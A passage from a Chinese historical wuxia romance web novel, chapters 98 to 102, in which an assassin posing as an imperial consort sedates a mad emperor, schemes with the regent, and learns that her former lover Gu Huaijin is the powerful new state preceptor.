“这么快啊。……假如不如意,随时来天山找我。” 她懒得细想,继续翻找。 其余,是一大堆信件。仔细告诉她,病了拿着哪封信去找谁;受了人欺负,可拿着哪封信去求何人帮忙讨公道;倘若觉得身无可依,可拿着哪封信去何处托付;若是身处险境,拿着哪封信去向谁求救。 她一股脑往下掏。 其余的,是他不知何时替她挑选的簪子、耳坠、璎珞、珠花之类。无一例外,全是玉的。 怎么全是玉的。 她隐约想起来,乞巧节那柄梳子,他也特意挑了玉的。 那时,她不明白,他笑着道了一句:“我的私心。” 对了,他的字是怀瑾。 她嗤笑一声。 没有爱,信物就是杂物,如今这一堆首饰,对她,对他,都什么也不是。 再往下,包袱的最深处,埋了一个更小的信封。 虽然是信封,可是捏起来,仿佛空空如也,里面两颗滚圆的东西四处乱窜,信封拿得斜了,就堆在角落里。 她将那信封撕开。 里面,是一对小耳坠。用的珠子,里圈实,外圈虚,玲珑剔透,流光溢彩,折射着斑斓的光。 她想了一会,才想起这两颗奇特的小珠子是什么。 他的本命珠。 她的手开始微微颤抖。 将那小小的信封合上,拿在手上一看,落款: 友,顾怀瑾。 她这才发现,所有的信、所有的落款,全都是——友,顾怀瑾。 她惶然落下泪来。 这时候,她终于想起,那时,他以为她想离山,并不敢对她言爱。 第99章 “……皎皎。” “如果你活着,来找我。” “如果你已死……” “……如果你已死,那么,纠缠我。跟着我,上我的身,入我的梦,怎么都好。” “劝你识趣些,早日到我面前来。不要等我也到了下面,找到你,搅得你三魂七魄七零八落,方哀嚎着求饶。” “来找我。” “来找我。” “来找我。” “是生是死,是人是鬼,我无所谓,都给我到面前来。” 面前人的脸孔,没有眉目鼻梁,唯有嘴唇开合: “——生生世世,你都躲不开我的,皎皎。” 南琼霜猛然大睁开眼睛,冷汗滴进眼睫,刺得她眼里一阵涩痛。 入目,是菡萏宫中,藤萝紫的宝相花纹床帐。 寝殿中昏暗,安神香袅袅燃着,在香炉上抻出一根笔直的烟。 清涟顾忌她睡着,将窗都关了,仅在殿内点了两盏琉璃花鸟彩灯。灯火将花鸟的影子投在墙上,琉璃剔透,仿佛雀鸟戏水。 她捂着胸口平复了一下,见窗外透着蒙蒙亮的光,唤了一声,“清涟,远香。” 两个丫鬟拨开珠帘,珠子一阵噼里啪啦。 “娘娘醒了?身子可好些了?” 她拥起锦衾坐着,长发迤逦在身后,怏怏应了一声,“好些了。先梳妆吧。” 她按照往生门的意思,潜入宫中,在当今皇上身边侍奉,已经两月有余。 这些日子,往生门替她打通了关系,造了假身份,将她硬塞入了清河谢氏这等望族之中,不知用了什么法子,叫这等大族认她做了女儿。 她以谢家女的身份入宫选秀,又在往生门的层层疏通运作之下一路入了宫,到了嘉庆帝身侧。 守在嘉庆帝身侧,是为该杀他时,杀他。 眼下,这已经是她的第五个任务。 至于那云雾茫茫、山花烂漫的天山,即便在梦里,也已经模糊不堪。 那已是五年前的事了。 南琼霜坐在妆镜前,精神头仍是不好,远香走去将窗一扇扇开了,晦暗天光从雕花窗棂中照进来,映得圆圆的铜镜雾吞吞的,她睁开眼。 镜中人,也与从前不一样了。 她记得,从前在天山上时,她虽然身体不好,时时倒也有些愉快颜色。如今五年过去,她又风里来雨里去办了第四个任务,虽然最终仍是成了,人却似乎再不如前。 她比从前更清瘦,也更抑郁。薄薄的皮肉紧紧贴在骨头上,虽然骨头生的好,再清瘦,也没有显寡相,但还是,太瘦了。 雪白的皮肤,白到人仿佛一片晶莹的碎瓷,眼圈红的时候,连眼皮上的血管都瞧得见,紫色的、纤微的,仿佛碎瓷的裂纹。 往生门的人,说 她这样好看。可是,她总觉得,如今这张脸白得太吓人,连她自己看,都觉得是个森森的女鬼。 嘉庆帝喜欢她这模样。往生门就是打听到这一点,故意将她派来的。 清涟细细替她篦着头发,挽了发髻,在两侧插上一双鎏金点翠珠花。 忽地外头有人急急来报,帘子一撩开,是嘉庆帝身旁的大太监王让。 她刚拨着耳坠回身看了一眼,王让已经扑在地上跪拜:“娘娘,娘娘!皇上头风发作,紧着唤您,要您过去呢!” “皇上?”她问,“太医来了没有?” “太医已经来了。说是您前些日子与晟贵妃争执,晟贵妃因此事心中不平,暗中加害于您,皇上气得不轻,急火攻心,致使头风发作。” 她自进了宫,一路盛宠不衰,短短两个月,已经破格升为了妃,不免惹了宫中老人嫉妒。 最嫉妒她的人,便是封号为晟的毛琳妍。 嘉庆帝后位空置,此前,晟贵妃一人独大,无人能跟她分庭抗礼。如今宫里却来了她,晟贵妃风头弱了不少,哪里心甘。 前些日子,晟贵妃在荷花池旁与她鼻子不是鼻子、眼睛不是眼睛地对了一场,回去就暗中将太医替她针灸的针换成了毒针,害得她中毒不浅,日日夜夜地做噩梦。 若不是这一场毒,她也不会梦见些早已忘却的人。 她转回身,面朝着妆镜,“知道了,我马上去,你先去陪着皇上。” 王让喏喏退下,她对着镜子,左右照了照,“珠花换了,今天戴那支嵌碧玺宝石花簪,粉的那支。” 清涟愣了一下,“娘娘要戴桃花的?” 她连眼皮都懒得抬。 那日,晟贵妃在荷花池亭子内挑衅她,用的就是这根簪子的由头。 嘉庆帝爱看她穿粉的,既然衣裳是粉的,她便搭了这支珠光宝气的桃花簪子在头上。 不想,被晟贵妃瞧见,兜头给她扣了顶淫邪惑主的帽子,说一身桃色衣裳,头上又戴桃花簪子,不知欲在后宫之内勾引谁。 她垂睫笑了一瞬,“拿那件桃夭色绣花宫裙来。” 远香知道她的脾气,不敢多话,顺从地将那衣裳取了来。 梳妆好了,她踏出菡萏宫的门槛,方知外面下着雨。 时值七月,阴雨连绵,空气里含着水汽,闻起来潮湿清香。然而却是太闷热了些,乌云在头顶捂着,正是下午,也昏沉沉的。 她在回廊中一路走,清涟替她在身侧撑着伞,免得雨丝溅在她身上。 走着,却见嘉庆帝前些日子喜爱非常的彩色宫灯一盏盏被撤下去,太监们淋着雨,踩着长梯忙上忙下,奢侈鲜艳的器皿摆设,能撤的撤,不能撤的,便被颜色素朴些的掩在后面。 奢极华艳的后花园,渐渐黯淡下去。 南琼霜拨着腕上翡翠珠子,“皇上一向是最喜欢豪奢物件的,彩色的东西用不腻,这些宫灯,才刚挂上多久,怎么就撤下去了?” 清涟垂首,“奴婢不大清楚,听说是一位人物要提早回来了。” “谁?” “国师先生。” “哦,姓顾的那一位?” “正是。” 她笑了,“这位顾先生究竟是何人,我入宫两月有余,人人都同我提他,却未曾得见一面。不是说,他得皇上青睐非常,连宫禁都能随意出入吗?” 清涟默了一瞬:“奴婢也不知。” 她笑,“好大的面子。怎么,这位大人不喜花里胡哨,觉得眼睛花?” 清涟:“似乎是性子格外乖僻。极其喜静,极爱素朴,阴晴不定,难以相处。他不喜欢的物件,连皇上也不敢在他眼前放。” 前朝之事,她入宫前做了些功课,然而消息全是自往生门情报司传来,不知转了几手,有时候,与道听途说也没区别。 她倒是听闻过这位顾先生的,如今这人在齐宋,声誉如日中天,鼎鼎有名。不过,其人到底如何,与她的任务无关,她也懒得在乎。 一抬头,紫宸殿掩在灰霾的乌云下,金色黄瓦往下滴着连串的水。 晟贵妃一身素白衣裙,裙摆在泥水里浸着,跪在紫宸殿门口,一旁的芳若姑姑替她打着伞。 她笑了一瞬。 那日,晟贵妃调换银针之事事发,嘉庆帝大怒,罚她在紫宸殿前每日跪三个时辰,以示惩戒。 南琼霜走到檐下,王让替她拨着锦帘,她回身看了跪在泥水里的晟贵妃一眼,笑,“她今日跪了多少个时辰了?” 王让叹息:“皇上是罚她跪三个时辰,但贵妃娘娘性子倔得很哪,今天已经跪了快五个时辰了,说是不打动皇上不罢休。” “啊呀,平日也就罢了,现在还下着雨……”她含笑回身睨了跪在地上的女人一眼,晟贵妃两眼喷毒似的,发狠瞪着她,发丝狼狈在腮侧额际黏着。 她恭敬颔首,笑,“我进去,替姐姐求求情。” 雨里的人,见她特意穿了身桃粉衣裙,戴了支桃花簪子,被嘉庆帝在病中点名召见,怒得眼珠子几乎从眼眶里挤出来。 是呀,穿你最恨的颜色,戴刚被你骂过的首饰,去见离了我不可的皇上。 至于你,就被太监们挡在外面,雨里跪着思过吧。 南琼霜心情不免好了起来,穿过重重屏风珠帘,走到了龙床前。 寝殿内,织金帷帐层叠掩映,角落里点了几盏煌煌宫灯,窗全关着,不放一丝冷风进来,那宫灯在凝固的空气中呆滞燃着,殿内一时昏暗。 连树枝摇动的声音也没有,只有一人断续的哀鸣。 年轻的帝王在丝缎锦被中抱着头翻滚:“疼——朕的头好疼啊!去唤娘娘来,娘娘到哪了?你们这些狗奴才,有没有去给朕传娘娘来?!” 王茂行跪在龙床旁,他周围早已伏地跪了一大圈太医,“回禀皇上,娘娘就来了,臣早已传令下去——” 南琼霜急道:“皇上,臣妾来了。” 丫鬟们撩开金纱帷帐,宰相和太医识趣地为她让开,未等她走近,皇上竟忍痛坐了起来,痛得含泪,朝她伸出手,“德音——” 谢德音,这是她如今的假名。 “德音——朕好痛啊,你怎么才来……” 嘉庆帝一见她,就拉着她的手委进她怀里,她被迫倚着床头坐下,嘉庆帝环着她的腰,头在她腹部蹭着:“都下去、下去!朕要跟娘娘单独待着!” 众人如影子一般无声退下,嘉庆帝抬眼,痛得眼底通红:“德音——朕真的好痛,你说,朕这头风可怎么办才好啊——” 她关切哄着,“不怕,不论如何,臣妾都在这儿陪着皇上。刮风也好、下雨也好……” 嘉庆帝头埋在她侧腰,深深吸了口气,“不论何时,都会陪在朕身边吗?” 她一下一下在嘉庆帝身上拍着,“自然。” 嘉庆帝声音闷闷的:“德音,不知为何,每回头痛,你在,朕总觉得好得快些。” “是吗?”她哄孩子一般,“若能为皇上医治,是为臣妾万幸。” 他不说话了,头埋在她宽大的袖摆里,依恋呼吸着。 其实,这么多男人,格外依恋她的,也就只有这两个。除了这个皇帝,还有…… 还有一个很久、很久以前的故人。 可是,那已经太久了。她记忆里,那一点雪白衣衫的影子,已经小得成了纸灯笼上的一个孔,不碍事,也无关紧要。 “德音,朕还有个好消息告诉你。” 她垂首看去,嘉庆帝的脸掩在她袖子底下,只露出下颌线。 “怎么?” “除了你,朕的头风,终于又找到了一位神医。” “真的?那可是天大的喜事。”她装着感兴趣,“是谁?” “这个人物,你入宫尚短,还不曾见过面。但真是一位奇人!当日形势岌岌可危,风雨飘摇,王相不知从何处搬了这么一座大佛,出山助我,甫一献计,就帮朕定了乾坤。结果还不止于此!” 嘉庆帝倏地激动起来,抬起脸来望着她:“这位先生,所修武功,可以助人调息疗伤,又通针灸之术。上回,他在,朕的头风就减轻不少。” 没等说两句,一激动,登时又痛苦万分,五官攥在一处。 她急着替他擦汗,“那如今那位先生呢?怎么不在?” “先生回山料理事情去了。”他痛得嘶气,然而这次一痛,痛得似乎不停,他从哀鸣渐渐至于怒吼,再至于癫狂,腾地从她身侧坐直起来,抓着头发大吼:“痛啊——好痛——” “皇上——”她急道,“传太医!太医!” “一帮庸医,顶什么用!”嘉庆帝忽然抓起枕头底下的玉如意,疯了一般一抡,那玉如意顷刻砸在宫灯上,砸得满地玻璃碎溅。 急急进殿来的太医们刚跨过门槛,琉璃灯就炸在脚下,吓得齐齐跪下。 “叫先生回来!叫顾先生——”龙床上的人,痛得泪花婆娑,气喘吁吁,“叫顾先生……速速回来!速速回京!” 第100章 王茂行紧赶着弯腰叩头:“臣已经去信,催顾先生回来,还请皇上稍安勿躁。” “稍安勿躁!朕如何稍安勿躁得了!”嘉庆帝发狂捶着床,“头风发作在你身上,你倒瞧瞧你能不能安!” “皇上,皇上……”南琼霜一连声地劝,牵着疯帝的手缓缓握住,“万勿激动。这病不是越急切,越痛吗?皇上要骂他们,等头风好了再骂。” 跪在地上的宰相与一众太医,听了这话,默默低下头。 嘉庆帝冷笑着,恨恨凿了一下金丝楠木的床头:“朕这身子,全是当日常达那厮一碗药酒之故!定是那日他在酒中下了毒,故意来暗害朕!” 紫宸殿的人,一时全不敢说话,连南琼霜,也只敢牵了牵他的袖子。 如今时局动荡,这种事,或许是,或许不是,谁也不敢下定论。 但嘉庆帝的头风,自微微隐痛发展到头痛欲裂,确实是因常大将军那一碗毒酒。 一年前,常大将军打着清洁皇室血脉的幌子,发兵入京,说是匡扶正统,实是兵指洛京,意图篡权。 却在京外,山海关前,被一人拦下。 后来,形势危如累卵,挡下了常达的人,也想着攻入紫禁城分一杯羹,两虎相斗,反而容皇帝喘了口气,嘉庆帝保下了一个名义上的皇位。 却被常达骗着、或许是逼着,饮下了一碗药酒。 自那以后,嘉庆帝精神越发不好,有时高兴至于癫狂,有时沮丧几乎心死,有时忽然说起胡话,有时笑着谈着,忽然脸色一变,拔剑杀人。 南琼霜入宫之前,据传,嘉庆帝曾经酒醉后发疯,说要以美人骨制成乐器,将宠妾薛氏在宫中碎了尸。 “朕早晚要杀了常达那厮!”嘉庆帝痛得直吼,“朕早晚要——朕早晚要!” “皇上,晟贵妃还在外头。”她轻声提醒,晟贵妃乃是当朝常太妃、先帝宠妃常氏的义妹。常太妃乃是常达的亲妹妹,因而,晟贵妃虽然并非常氏本家所出,到底还是与常家攀着关系,说起来,也是常达的人,两边互通消息,几乎是不用说的事。 毛琳妍得宠,是因为常家,失宠,其实也是因为常家。 “是啊,皇上,晟贵妃还在外头。”王茂行跪在龙床边,劝,“叫常大将军听着,恐怕会生出事端来啊。” “朕不管!朕如今早不想管了!叫他听啊!顾先生要回来了!去叫顾先生回来,朕如今有顾先生!” 南琼霜不耐闭了闭眼,这个不中用的疯子,凡事只知道指着别人。 她不作声,转着腕上翡翠镯子,手指借机在袖中一翻。 “皇上,皇上。”她捧着嘉庆帝的脸,翘着小拇指拿帕子替他擦着额上冷汗,声音低得仿佛妖精下咒,“皇上何苦发这么大的火呢,再把自己累着。如皇上所说,那位先生回来,咱们不就有法子了吗?何苦急着这一时呢?皇上多睡些,把这一阵熬过去,更要紧。” “德音……”嘉庆帝不知为何,忽地有些头晕,眯着眼睛,“朕不杀了常达,常达就会杀了咱们。你记住,朕这都是为了……” 她捏着帕子,方才挖了一点迷魂香的指甲,来回在他鼻子底下晃,“皇上都是为了……江山社稷。” “没错。……还是德音懂,朕的苦心。” 往生门淬炼的高纯度的迷魂香,毒性极强,但凡吸入,很快就会睡意沉沉。 被病痛折磨到神经质的人,久旱逢甘霖一般,眼圈乌青着,倒了。 南琼霜拨开床帏,站起了身。 嘉庆帝爱她,有一半的原因,是因为在她身旁,头风得以减轻,睡得也沉。 他拿这来佐证他们天生一对。 南琼霜垂眼一笑,对跪在地下的群臣恭敬道,“诸位请起。请王大人留下与我说说话吧。” 太医们对嘉庆帝的病症束手无策,下去商讨疗法去了,王茂行被南琼霜留了下来。 “皇上一向信赖大人,每回头风发作,都要召大人入宫,您不在,皇上总是不安心。这回,气得这么厉害,皇上是如何同您说的?” “皇上的意思是,这回,主要还是为您。” 她挑起眉毛。 “为我?” 王茂行垂首行礼,不说话了。 那意思,她明白。毛琳妍最近失了宠,仍不收敛,是仗着常达的势呢。 嘉庆帝如今本就势弱,若不严惩了毛琳妍,就是默许了常达将天子威仪放在脚下踩。 若是换个懦弱性子,也就罢了。可是,嘉庆帝本就不大正常,他如何忍得了? 她回身往窗外看了一眼。雕花窗棂外,素白衣裙的女人仍在雨中固执跪着,不知她是否知道,这不是靠苦肉计能改变的事情。 不过,这般责罚毛琳妍,恐怕常达会借机生事。 她问:“那位顾先生是什么人?当真有这么可靠,足以倚仗?” “顾先生有救世之才,是齐宋不世出的谋士。我朝能得顾先生一臂之力,乃是天公有眼,降下人才。” 王茂行说话一向有分寸,话说得这么满,看来不仅疯帝依赖他,连做宰相的王茂行也格外倚重他。 “不过,这位顾先生,虽有大才,却不肯出山为官,只肯做一个半入世的谋士。微臣费劲九牛二虎之力求他,他也只肯领一个国师的虚衔。” “不挂实职,只求虚衔?”她有点意外,“如此,您二位却这般看重他?”甚至到了凡事希望他回来处理的地步? “顾先生确实可为我朝肱股之臣。” 她听得笑了,接下去,“可是,他不愿做?” “正是。” 好大的架子。 人的面没见着,关于他的传言却听了好几轮。这么厉害的奇怪人物,她倒想见见。 “适才过来紫宸殿时,本宫见外头的彩灯宝瓶全撤下了。据说,是那位顾先生快回京了的缘故。皇上催他回来,他几时回来?” “顾先生原定一个月后返程。不过,方才皇上命臣去信催促,最早,大约十日后便会入宫觐见,也得看顾先生如何答复。” 十日后。 南琼霜颔首,“今日有劳王大人。皇上睡下了,王大人请回吧。” 嘉庆帝发起疯来六亲不认,王茂行虽然在官场历练出一派波澜不惊的气度,也早出了一层冷汗。得了她这句话,如蒙大赦地退了。 南琼霜回身看了一眼龙床上的男人。明黄色锦衾里,疯帝睡着,汗湿了额头,瘦得颧骨自皮肉底下支棱出来。 倒也不是所有人,都能痛得好看的。 她敛袖起身,殿内一丝风也吹不进,闷得厉害,她打算回宫。 寝殿角落的宫灯,灯火摇曳了一瞬。门口旁边的墙上,挂了一幅长卷江山图,乃是前朝名手徐系舟所绘。灯火一摇,屏风的影子动了几动。 忽然,那画上,什么东西一闪。 她眯起眼睛。 再看去,亮点消失了。 她不明所以,走近些,仔 细瞧了一阵。 方才那一亮的东西,不见了。画上,那一块地方,是一个男人,肩上挑着扁担打水,树上落了二三只鸟。 她仍是觉得有点奇怪,但没有头绪,摇摇头,出了紫宸殿。 王让依旧在殿门口守着,替她卷着帘子。寝殿外边,晟贵妃不依不饶地跪在雨里,雨水从额际胡乱冲下,碎发黏得一缕一缕,比之前更狼狈了些。 殿外花园内,太监们披着蓑衣,两三个一队,围着被雨浇的左右乱摇的树,爬上树干,扯着树枝摇来摇去。 她问王让,“那是在做什么?” 王让:“回禀娘娘,顾先生过些日子回京,会时时入宫觐见,今早皇上吩咐将宫里的鸟再打一遍。” 那些太监在雨中浇得十分狼狈,她道,“为什么要打鸟?” “顾先生喜静。” 她挑挑眉毛:“喜静到这地步?连鸟叫声都听不得?” “娘娘有所不知,顾先生乃是无量心法唯一一位大成者,耳朵比常人灵敏。鸟雀之声,在常人耳中,或许清脆悦耳,在顾先生听来,就是嘈杂。过些日子,连各宫娘娘养的猫儿狗儿,都得各自关在房里,不准放出来。” 一阵风来,南琼霜似笑非笑地拢了外衣。 到底是什么人,这么多事。 嘉庆帝那动辄发疯杀人的性子,他竟然压制得住,甚至还叫疯帝这样迁就他。 王让见她拢外衣,急道,“娘娘,这里风大,还请回宫吧。” 她颔首离开。 走在御花园的回廊中,远香四处看了一圈,见没有人,附耳过来,“娘娘,王爷唤您去大明宫中说话。” 她唇角勾了一瞬,兴趣缺缺,“他叫我做什么。后宫之内,竟还有摄政王天天要见宫妃的事。”对侍在一旁的清涟一抬下巴,“你回菡萏宫吧。” 清涟和远香,是她自往生门内带过来的武婢。在紫禁城中做事,非同小可,身边总要有两个得力的人。 清涟与她身形相似,身量相仿,发色肤色几乎一致,从背后远远一看,几乎与她本人无差,是她专门带过来的替身。 “若有人求见,便说我毒发未愈,又冒着雨照看皇上,疲乏已极,无法接见。” 清涟行礼:“是。” 转身,跃入雨中。 远香替她撑着伞,以免雨丝被风斜吹进来淋到她,“娘娘往这条路走,这条路鲜少有人。” 御花园回廊曲折幽静。那些打鸟的太监,全聚在紫宸殿门口忙活,至于御花园里面,尚还僻静。 她一路走,一抬眼,大明宫掩在雨里,乌云将明黄屋顶都映得黯淡了。 正门侍卫暂时被殿中人借口调走,特意放她进来。 连远香也不被允许随侍,远远候在殿外绿树下。 南琼霜跨过大明宫高高的门槛,珠帘噼里啪啦地在身后合上,她摸了摸长发和衣袖,发觉周身还干爽着,心下稍微愉快了些。 大明宫里,鎏金连枝地灯一盏一盏燃着,与墙同高,从地面亮到天花板。天气阴沉,殿内灯点得早,因着天气闷,开着窗,风一过,满殿光影幻变。 窗边,殿内人靠在红木雕花罗汉床上,抱着左边膝盖,意慵心懒,批着折子。 手指一下一下,在木桌边缘敲着。 她走过去,自然在他对面落了座,叹气,“下着雨,非要见我。做什么?” 对面的人抬起头,一双狐狸眼,左耳一颗血滴子一般的耳坠。 见了她,那双俊艳逼人的眼睛弯了起来,眼尾勾出一对惑人的小钩子。 即便做了摄政王,李玄白依旧是吊儿郎当: “就想见你,不行吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 南琼霜不可置否,揉着太阳穴敷衍一笑。 那一年,她虽然得了李玄白赠给她的信物,但对于他这个人,没什么兴趣,并没有大老远赶去与他相认。下了天山,她便回往生门养伤,养好了伤,便下江南出任务。 没想过他,也从没想过会再见他。 直到,她被往生门派到洛京风雨欲来的皇宫之内。 “少说情话,直接说事。”她自己捡了颗果盘上的青玉葡萄吃。 “你这人。”李玄白转着笔,笔杆在修长的五指间腾旋,“如今在齐宋,你是唯一一个敢这样对本王说话的。” 她笑,“王爷不高兴,那杀了我。” 地灯将大殿映得亮堂辉煌,风一过,满殿光影飘摇。她垂着眼剥葡萄,鼻梁眼窝的阴影魔一般变幻,她自己倒不觉得自己有什么魔力,只是心不在焉。 她生的好看。几年不见,越发好看了些。 “看什么?”她撩起眼皮。 “今日怎么穿上粉的了?你这性子,哪里是爱这种旖旎颜色的?” 他看着她。 她自己是觉得如今太瘦了,可是年幼的婴儿肥褪去,五官其实更加精致夺魄,一双秋水眸子,眼底时时蓄着郁色,垂着眼时,睫毛如盛放后萎谢的花瓣一般垂着,眼底一汪波光,仿佛花蕊含露。 极艳的颜色。肤白,发乌,唇红,美而不自恃。一身缱绻的粉,碧丝绦似的绿耳坠,整个人仿佛初初化形的桃花妖。 她不答,揶揄他: “好看吗?” “好看。”他连想都没想。 她剥完了葡萄皮,放进唇间,玉珠一般的青葡萄被她朱唇含着,啵一声吮进嘴里。 李玄白在灯火里搓着下巴,饶有兴致地盯着她看。 “到底有什么事?我不能在你这留太久。” 他如梦初醒,笑了一下,“洛京最近要回来一位人物,你可听说了?” “怎么人人都跟我提他。”她笑,“跟我有什么关系。” 看着她那轻松神色,李玄白就知道,她还并不知道要回来的,是谁。 “‘跟我有什么关系’?” 李玄白摇着头,笑得意味深长。 几年不见,他说话的语调更加深沉莫测了些,不似从前桀骜锋锐。 听那语气,仿佛料定来人会叫她大惊失色似的。 她垂眼拣了一颗荔枝,一片片剥着皮,笑而不语。 “又装起来了。”李玄白笑,“这副谁也不在乎的态度,我倒要看你能装多久。你此次要办的事,他一来,恐怕就办不成了。” 她静静抬起眼皮看他一眼。 李玄白大约能将她的任务猜得八九不离十,她早知道,毕竟当年她跟天山少掌门的事,他是亲眼看着的。 但是,即便他猜得出她此行的目的,也不碍什么事——李玄白巴不得嘉庆帝暴毙。 后来,到得洛京皇宫之中,她才知道,李玄白原是本朝先帝的皇四子,因为出生时常太妃专宠,暗地里谋害皇嗣,她母亲无法,使计将他送到天山上学武,保护起来。 等到他成年,借九曜逆轮之乱下山,便回了洛京,恢复身份,封了藩王,领了封地,分得十万护卫军,兼领守卫边境、拱卫王室的职责。 若是事情就这么发展下去,他也不过是在自己封地做一辈子秦王的命。 谁也没有想到,三年前,常达拥兵自重,借口清洁正统、匡扶皇室,造反谋逆。 战火自常达统辖的川陕一带,一直烧到冀州——洛京的门口。再多一步,就是最近的山海关。 李玄白驻守的正是冀州一带,常达打到眼前,哪里会容他再继续。 可是当真亮出兵刃的时候,他鬼使神差地想起,他看不入眼的,又何止眼前这位大将军。 嘉庆帝李晔,先帝立下的太子,本事并没有多少,之所以入主东宫,是因为他那不可一世的将军舅舅。 李晔,李玄白素来看不上。 于是他也反了。 李玄白见她烛火里又拈了一颗葡萄,慢悠悠剥着,伸出手掌,“给我一颗。” 她笑了一声,刚想丢进嘴里,李玄白挑眉:“你想清楚点,如今坐在你面前的,是谁。” 她抬眼皮搭理他一眼,将那葡萄递到他嘴边。纤细的莲瓣一般的指甲,捏着半剥的葡萄,他垂眸睨了一瞬,心满意足地衔进嘴里。 那个姓顾的不在,他也真是舒心。 “你知道,当日,我是怎么成了摄政王的吗?” “略有耳闻。”她漫不经心笑着,“那位莫名其妙的国师先生,给皇上提了条计策,‘放虎入山’。” 既然要造反的,同时有两位,那么,就大开山海关,同时放两位进门。 “当日,我在山海关外,正同常达打着呢,忽然来消息说,皇上病了。” “后来,又听人说,常达那厮也病了。” “两边都病了,谁也不知道消息真假。”他笑了一下,“但这招倒也是高。” 南琼霜一笑。 两边虽是造反,面子上却都师出有名,都打着“拱卫王室”的旗号。 一说紫禁城里的皇上病了,两边就都先别打了,不是关心皇室么,先进来看看皇上吧。 按理说,假如造反的只有一个,不论如何不至于上这种当。 问题就在于,造反的有两个。 双方都怕先入紫禁城的先探视了皇上,名更正言更顺,更怕对方先夺了国玺,甚至挟皇上以令自己,听也不是,不听也不是。 进紫禁城探视的要求是,大军留在关外,随身携带一二百精兵,本人解盔卸甲、手无寸铁。 等到常达和李玄白赤手空拳地在紫禁城中重逢,就惊奇地发现。 唯一一个真发了急病的,是常达。 两个心怀鬼胎的人,在太和殿广场大眼瞪小眼,意料之中地发觉自己出不去了,没等发动各自的后手,忽然嘉庆帝在太和殿的龙椅上,高声下旨。 升常达为从一品骠骑大将军,封李玄白为摄政王。 一边请君入瓮,一边让权割城。 当是时,常达发了场急病,脸绿得波斯草一般,不知道还有几天活头;李玄白呢,见常达病得快死了,乐得要死,不想再硬碰硬。 考虑了两个时辰,两个身旁没有幕僚、只能偷看对方脸色的人,不约而同地应下了。 这种纵虎成患、以待坐山观虎斗的奇招,也多亏有人想得出来。 “那么,”他眼中促狭之意更甚,兴致盎然,“你知道,那个姓顾的国师,是谁吗?” 她轻笑一声,刚想讥讽他卖关子,忽然眉毛拧了一瞬,烛火里,眉头掐出几道影。 天底下姓顾的那么多,她原本没有多想。 可是,怎么话里有话的,兜着圈子跟她说了这么久。 她剥着青葡萄的手,骤然止住了。 一墙明灯扑朔跳跃,她脸上神色霎时如风中灯烛,摇荡不安。 “你……”她声音哽了一瞬,“你不会要对我说……” 小几对面,李玄白嘴角勾着,两手交叉抱在脑后,往软垫上一靠。 “对啊。聪明。” “你……”她艰涩道,“你确定?你确定是他?” 李玄白得意洋洋一点头。 “不可能。”她笑得勉强,还有点难堪,“他那个人什么心性,你不是不知道。这种阴招,他八百辈子也想不出来。” 李玄白靠在罗汉床的围子上,摊开手一笑,“你不会以为,他还是当年的顾怀瑾吧?” 那三个字,她听着已经太陌生,陌生到一入耳,心就好像被石子硌了一下。 “你当年干了什么,你自己不是不知道。” 她更加沉默。烛火里,心绪烦乱,闭了闭眼。 “是他没错。”李玄白抓起茶盏,啜了一口,“我见过了,就是他。” 她呼吸紊乱起来。 “但是,要说是另一个人,也并不算错。如今,他可真是不一样了。” 她强自冷静,瞥了他一眼,李玄白笑睨着她,眼睛亮得幸灾乐祸: “谢德音,你瞧瞧,楚皎皎都干过什么好事。” 再听那个假名,她不由得冷笑一声。 做过就是做过,她说过了,她做过的事,是好是坏,她全都认。 但是,怎么会这么巧,一个攻心刺客,失手没杀成的人,竟然兜兜转转,又回到她面前。 这怎么办? “不过,你也别太担心。” “什么意思?” “你坠崖之后,他为了找你,下了天山,后来不知怎么,出家当了几年和尚,在寺庙里碰见了无量山的老掌门。” “据说,自那以后,他跟着老掌门继承了无量心法,如今本事可大得很呢,不是在天山上时,可以比拟的了。” 她听得笑了一声。特意告诉她顾止武功大进,是为了庆祝她会死得更安详? “但是呢,那无量心法,真到了境界,伤眼。”他笑,“特别是,听说他回山,就是为了再破一层境界。若是破了,回来,跟瞎子也没区别。” 她听了,唇角勾起又抿下,抿下又勾起,没绷住,喜不自胜地一笑。 听说他恨她,恨得要命,如今成了瞎子了? 她松了口气,两掌搓着团扇柄,“他如今怎么样?” 李玄白举着茶盏,作势要与她干杯,话很简短: “见谁都一张死人脸。” 她噗嗤一笑。 李玄白摇着头叹:“你这人。连我都得说句公道话,人家一个谦谦君子,因为你变成这样,有没有点良心了?” “他?”她挑眉一笑,“他知道我在旁边,下一秒,我就得死。他恨我,我何必有什么良心?” 李玄白上下打量她一圈,抓起茶盏呷了一口,“毒妇。” 她笑得更愉快,剥了颗葡萄,莹润的果肉带着丝缕的脉络,递到他唇边。 抬眸一笑,眼底深深: “忠臣。” 李玄白气得笑了一声,两手无奈叉着腰。 她身上这股恶劣又傲慢的劲,他欣赏得不得了,喜欢她,几乎是没办法的事。 “你别高兴得太早。”他道,“那无量心法,非同小可,他就算眼睛不好,也未必就不会认出你。” 她心烦意乱地叹了一声,揉着眉心。 “所以,疯帝死后,你从了我。”他吊儿郎当歪着头,拿起茶盏,等着她与他碰杯,“我就从那姓顾的手里保你。” 保我? 她思忖一瞬,不屑勾了勾唇,推开果盘站起身。 “保我?”飘摇烛火里,她回身,眸子亮如寒星,“恐怕来不及。他一见你青睐我,就会猜到我是谁。” “所以,还是离我远点吧,王爷。” 第102章 第一百零二章 那一日回去,南琼霜阖眼就做了梦。 梦见些早已忘记的人,早已忘记的事。 梦里,那个她从前最熟悉不过、依赖不过,如今却连想都不愿想起的人,没有眉目,只有一圈轮廓。 他仍是一身她看厌了的白衣,弹剑出鞘。 她一点痛心也没有,剑出鞘时挥出一圈冷风,拂动她碎发,她昂着下巴,伸长了脖颈。 “要杀我?”她笑吟吟的,如今她终于不必再装了,“来啊。” 面前人没有脸,声音平直,仿佛隔着忘川传来,缥缈悠悠。 “为什么忘了我?” 她笑,“恨我的人太多了,记不过来。” 他不说话,左脸一根垂直的红 泪。 “来见我。” “见不了。”她拨着耳朵底下的耳坠,才发现自己戴的是他的本命珠,“要杀快杀。” “不来见我,我也会去见你。” 他将剑身全部拔出来。 她这才看见,他那剑柄上绑着的,栀子黄的东西,是她送给他的那个同心结。 她一瞬间很后悔没有杀死他。 他缓缓地,握着剑,却转了半圈。 横在自己脖子上。 “我知道怎么去见你。”他两片漂亮的唇,凉薄开合,“来见我,或者我去找你。” “你别发疯了。”这几个字,她恨得像是从齿间嚼碎了吐出来似的。 